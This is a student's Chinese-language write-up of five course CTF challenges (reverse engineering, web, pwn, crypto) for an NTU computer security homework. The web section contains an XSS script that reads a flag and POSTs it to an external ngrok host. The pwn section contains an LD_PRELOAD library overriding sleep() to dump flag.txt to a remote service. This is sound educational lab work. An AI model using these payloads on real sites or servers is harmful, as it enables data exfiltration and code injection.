# 2023 NTU Computer Security HW0 Writeup :::warning - https://hackmd.io/@Lambo0724/NTU_Computer_Security_Hw0 - pdf的輸出好怪...可以到這個網址看比較舒服,我只有開有連結的才能Access沒有公開 ::: - Student ID: R12922054 ## Easy C2(Reverse Engineering) :::success - **Flag:** FLAG{C2_cmd_in_http_header} ::: #### 解題流程思路 1. 由於題目有給予我們一個執行檔,因此第一步當然就是先Disassembly。 2. 透過IDA反組譯之後,會得到以下Pseudo code。從中可以得知,此執行檔對Localhost:11187傳送Flag資訊。 ![1](https://drive.google.com/u/2/uc?id=1aVRX5mHLIeoRYUJEAg9ygfarleJp5FPo&export=download) 3. 打開Terminal,透過netcat監聽,指令如下。 ``` nc -l -p 11187 ``` 4. 再開啟另一個Terminal,並到執行檔目錄底下,執行此指令執行程式。 ``` ./easy-c2 ``` 5. 最後就會在第一個Terminal中顯示FLAG,如下。 ![2](https://drive.google.com/u/2/uc?id=1YOxnFycnM0yP4i_epa6am7tu92rA253H&export=download) ## GUSP Hub(Web) :::success - **Flag:** FLAG{web progr4mming 101} ::: #### 解題流程思路 1. 這題的docker建立不起來,好像node.js的版本不兼容的樣子QQ。 2. 所以呢,直接來看code,這題最主要的是,看懂app.js到底在幹嘛,理解之後剩下的就是程式能力了(沒什麼碰過的人=我,花超多時間)。 3. 首先,先明白要怎麼從 '/' 進入到 '/add-api'註冊,直接f12按起來,到Application的地方,找到cookies,在name欄位底下輸入```authenticated```,接著在value欄位底下隨便打字(不要讓他為空就好)。 ![3](https://drive.google.com/u/2/uc?id=181JbfcmIrZUcbombLwFhJwQmO7Vbp9-h&export=download) 4. 進來之後就是註冊的問題了,這邊涉及三個問題:\ 1)要有實體ip 沒有的話ngrok是你的好朋友。輸入:```ngrok http 5000``` ![4](https://drive.google.com/u/2/uc?id=1Uw_copkBD8U7FfZFoZalfesfzdA6VjME&export=download) ![5](https://drive.google.com/u/2/uc?id=1G3adF9uDQeSQ1u1MO7HwkQFUp8GRidun&export=download) 2)看懂```app.post('/add-api', async (req, res)``` 這裡註冊帳號的規則,並且完成後端程式(Express最後沒搞出來,我直接投靠Flask,中間有詢問ChatGPT一些語法的問題並使用,檔名:gusp.py,)。 在gusp.py目錄底下,打開另一個終端機, 輸入:```export FLASK_APP=gusp.py``` 和 ```flask run``` ![6](https://drive.google.com/u/2/uc?id=1URKqDV59fNNZcl02wgThQO07ZzA6byYO&export=download) 3)寫js做XSS ``` fetch('/flag', { method: 'GET', headers: { 'give-me-the-flag': 'yes' } }).then(response => response.text() ).then(data => { fetch('https://95d9-140-112-90-38.ngrok-free.app/flag/display', { mode: 'no-cors', method: 'POST', headers: { 'Content-Type': 'text/plain', }, body: data }) }); ``` :::danger ngrok給的ip位址,每次都會不一樣,記得要修改 ::: 5. 在註冊頁面url部分輸入ngrok給的網址,下面的js:輸入我上面的程式碼(網址記得一定要改!) 6. 輸入完之後會出現以下頁面:\ ![7](https://drive.google.com/u/2/uc?id=1hs9FNT90iJ4U2zIvzjob-n5fVoH4b3em&export=download) 7. 不過不用擔心,按下F5(重新整理頁面),就會拿到ID了(不過我不知道為甚麼會這樣...照理來說要一次過...還是我有什麼沒了解到QQ)! ![8](https://drive.google.com/u/2/uc?id=1ZJ1zDqzkfmx0iA7v6PAzDWLB8098AV7m&export=download) 8. 接直著複製系統給的ID,在url那邊直接導往 '/report'底下:\ 1)ID: 輸入剛剛系統給的ID 2)Alias: 輸入下面終端機中,產生的Alias(綠色隨便一個都可以,這裡我挑KHCLJ) ![9](https://drive.google.com/u/2/uc?id=1RY3Aqc591u_3WgGC3DBSYmCfAaCiKcEL&export=download) ![10](https://drive.google.com/u/2/uc?id=1tCDBb9XS0h21ArHUPjp5RVJ2IsnDWCNO&export=download) 接著網頁就會呈現: ![11](https://drive.google.com/u/2/uc?id=1vcJIh1UJAc-QrIr7kWlq0-G28q3I7VQE&export=download) 9. 再看看終端機:\ ![12](https://drive.google.com/u/2/uc?id=1_FczrnwCNkBhcVaDaruVIUr4_p1d_3py&export=download) 是FLAG!!!!!!!!!!!!!!!!!!!! ## Baby Crackme(Reverse Engineering) :::success - **Flag:** FLAG{r0ll1ng_4nd_3xtr4ct_t0_m3m0ry} ::: #### 解題流程思路 1. 本題也是提供一個執行檔,此執行執行之後,是要我們輸入一個license,因此可以推測如果知道正確的license就可以成功拿到FLAG。\ ![13](https://drive.google.com/u/2/uc?id=1pFnFxWw9RzzX3n9dRSO29eC14tklodkT&export=download) 2. 因此一樣是先透過IDA解析執行檔。反組譯過後在main function中會看到,在這裡會對輸入的license做判斷。\ ![14](https://drive.google.com/u/2/uc?id=1j1PdbJO8f6QAZveU0WhBw5Kb8P1rRTt5&export=download) 3. 接著我們進到判斷的function中,s1是正確的license,a1是我們輸入的值。 ![15](https://drive.google.com/u/2/uc?id=1svXdU53-70O42SQEGfBXUX-pN1fv9d37&export=download) 4. 不過看著那個for迴圈要暴力硬解,著實痛苦,還好這裡我詢問另外一位有修這門課同學<student ID: r12922146>的看法,他認為license或許就是FLAG。 5. 也因為他這個想法加上助教在題目中的提示有提到Dynamic Analysis,瞬間點醒了我,s1就是FLAG。 6. 透過gdb做動態解析。 7. 在目標目錄下打開Terminal,按照順序輸入以下指令。 ``` 1. gdb ./baby-crackme 2. run 3. 這邊是我們要輸入的license,不過這邊我們隨便輸入 4. info func 5. 找到function名稱是strcmp的地方(因為是在這邊判斷license的), 複製其記憶體位置(eg.0x00005555555550c0) 6. b* 0x00005555555550c0(設定中斷點) ======================================================================= 這邊會重新再跑程式一次 7. run 8. 一樣隨便輸入 9. 因為我是用gdb-peda,所以這邊直接會顯示各個register,就可以看到在RAX跟RDI有存放FLAG的值。 如果純粹用gdb的話可以先下: 1)info registers (查看每個Registers的資訊) 2)x/s RDA或RDI的記憶體位置(解析該記憶體位置的值) ``` ![16](https://drive.google.com/u/2/uc?id=1ZaaYUXt3RNt5qIVjDN2lMyvFOe2IspIf&export=download) ## Baby Hook(PWN) :::success - **Flag:** FLAG{B4by_Ld_Pr3L0aD_L1bR1rY_:)} ::: #### 解題流程思路 1. 一開始我原本是想先把docker架起來,但好像架不起來會報錯,如下: :::danger - ./chall: /lib/x86_64-linux-gnu/libc.so.6: version \`GLIBC_2.34' not found (required by ./chall) ::: 2. 所以就直接不管他了,本題助教有給提示,要我們使用以下指令獲取該ip位址的資訊。 ``` nc edu-ctf.zoolab.org 10002 ``` 3. 輸入上面指令後,會要求我們輸入一個object。 ![17](https://drive.google.com/u/2/uc?id=1mFA1S3iMK6nfe0nK0GmjN-HYQeSzScjI&export=download) 4. 從給的檔案中猜測,該ip位址底下會執行 main.py , main.py裡有 ```p = subprocess.Popen(f'LD_PRELOAD={tmp.name} ./chall', shell=True)```這行程式會動態載入lib,並執行chall執行檔,而chall執行檔是由chall.c編譯而來。 5. 在chall.c中,sleep()這個function看起來就是一個突破點,如果把這個function覆寫成一個讀取flag.txt的function並把結果輸出,那應該就可以解出FLAG。 6. 要怎麼讓該ip底下的sleep覆寫?其實就是我們把sleep()function的lib建好之後,轉成base64的形式,透過輸入傳到該ip位址底下,具體指令如下: ``` 1. 建立1個.c檔 (eg. test.c),內容如下: #include <stdio.h> void sleep(int n){ FILE *fptr; char buff[255]; fptr = fopen("./flag.txt", "r"); fgets(buff, 255, (FILE*)fptr); printf("%s", buff); fclose(fptr); } 2. 打開該目錄下的Terminal,輸入以下指令即可 3. gcc -c test.c -fPIC 4. gcc -shared -o libtest.so test.o 5. base64 libtest.so | tr -d '\n' > test.txt 6. cat test.txt | nc -N edu-ctf.zoolab.org 10002 ``` ![18](https://drive.google.com/u/2/uc?id=1zB9wbSjS3QQQfgszgw1gCtNOW7AgdvQV&export=download) ## Extreme Xorrrrr(Crypto) :::success - **Flag:** FLAG{xor_ThEN_><OR_1qUal_ZEr0} ::: #### 解題流程思路 1. 觀看原始的python檔,我們可以得知,FLAG應該藏在secret中,如下。因此我們需要將一連串的運算反推回去。 :::info hint = [secret * muls[i] % mods[i] for i in range(20)] ::: 2. 首先,先將hint、muls、mods數組做xorrrrr的反運算。 3. 得到hint、muls、mods數組的xorrrrr反運算的結果後,我們就只剩下透過mod的反運運算得出secret。 4. 首先先透過,歐幾里德延伸演算法求出muls的乘法反元素,並且等號兩邊同乘這個數字,算式就會簡化成。 :::info number = secret % mods, number = hint * muls^-1 ::: 5. 之後,再透過中國餘數定理,就可以成功解出secret。 >第五步的程式實作我直接詢問ChatGPT,他提供我這個API -> solve_congruence,快速求出中國餘數定理的答案。 ![19](https://drive.google.com/u/2/uc?id=12b312L-sAxE_FUlOcw9u3GuzuO4ifNlf&export=download)